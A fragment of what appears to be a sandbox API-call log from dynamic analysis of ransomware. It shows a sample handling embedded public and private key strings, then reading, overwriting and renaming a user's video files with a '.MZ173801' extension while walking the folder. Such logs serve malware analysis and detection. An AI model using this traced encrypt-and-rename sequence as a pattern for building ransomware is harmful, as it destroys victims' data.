Dg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0166.747] GetCurrentThreadId () returned 0xab4 [0166.747] GetCurrentThreadId () returned 0xab4 [0166.747] GetCurrentThreadId () returned 0xab4 [0166.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.747] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0166.747] GetCurrentThreadId () returned 0xab4 [0166.747] GetCurrentThreadId () returned 0xab4 [0166.747] GetCurrentThreadId () returned 0xab4 [0166.748] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\gypawqdsfuyxa4ea_oei.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.748] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0166.748] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.748] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x160c9 [0166.748] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0166.748] ReadFile (in: hFile=0x27c, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x160c9, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f480*=0x160c9, lpOverlapped=0x0) returned 1 [0166.749] CloseHandle (hObject=0x27c) returned 1 [0166.751] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\gypawqdsfuyxa4ea_oei.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0166.753] WriteFile (in: hFile=0x27c, lpBuffer=0x24b8040*, nNumberOfBytesToWrite=0x160c9, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24b8040*, lpNumberOfBytesWritten=0x19f48c*=0x160c9, lpOverlapped=0x0) returned 1 [0166.755] CloseHandle (hObject=0x27c) returned 1 [0166.763] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\gypawqdsfuyxa4ea_oei.mkv"), lpNewFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\gypaWQDSFuYxA4ea_Oei.mkv.MZ173801" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\gypawqdsfuyxa4ea_oei.mkv.mz173801")) returned 1 [0166.763] GetCurrentThreadId () returned 0xab4 [0166.763] GetCurrentThreadId () returned 0xab4 [0166.763] GetCurrentThreadId () returned 0xab4 [0166.763] GetCurrentThreadId () returned 0xab4 [0166.764] GetCurrentThreadId () returned 0xab4 [0166.764] GetCurrentThreadId () returned 0xab4 [0166.764] FindNextFileW (in: hFindFile=0xa1b7a8, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71f2fe0, ftCreationTime.dwHighDateTime=0x1d5edff, ftLastAccessTime.dwLowDateTime=0x75858a00, ftLastAccessTime.dwHighDateTime=0x1d5eb4e, ftLastWriteTime.dwLowDateTime=0x75858a00, ftLastWriteTime.dwHighDateTime=0x1d5eb4e, nFileSizeHigh=0x0, nFileSizeLow=0x18519, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="wKHsoyD.avi", cAlternateFileName="")) returned 1 [0166.764] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0166.764] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0166.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wkhsoyd.avi"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa71f2fe0, ftCreationTime.dwHighDateTime=0x1d5edff, ftLastAccessTime.dwLowDateTime=0x75858a00, ftLastAccessTime.dwHighDateTime=0x1d5eb4e, ftLastWriteTime.dwLowDateTime=0x75858a00, ftLastWriteTime.dwHighDateTime=0x1d5eb4e, nFileSizeHigh=0x0, nFileSizeLow=0x18519)) returned 1 [0166.764] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi" (normalized: "c:\\users\\fd1hvy\\videos\\mrc2\\wmex\\wkhsoyd.avi")) returned 0x20 [0166.764] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Videos\\mrC2\\wmEX\\wKHsoyD.avi", dwFileAttributes=0x80) returned 1 [0166.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0166.766] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0166.767] GetCurrentThreadId () returned 0xab4 [0166.767] GetCurrentThreadId () returned 0xab4 [0166.767] GetCurrentThreadId () returned 0xab4 [0166.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0166.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 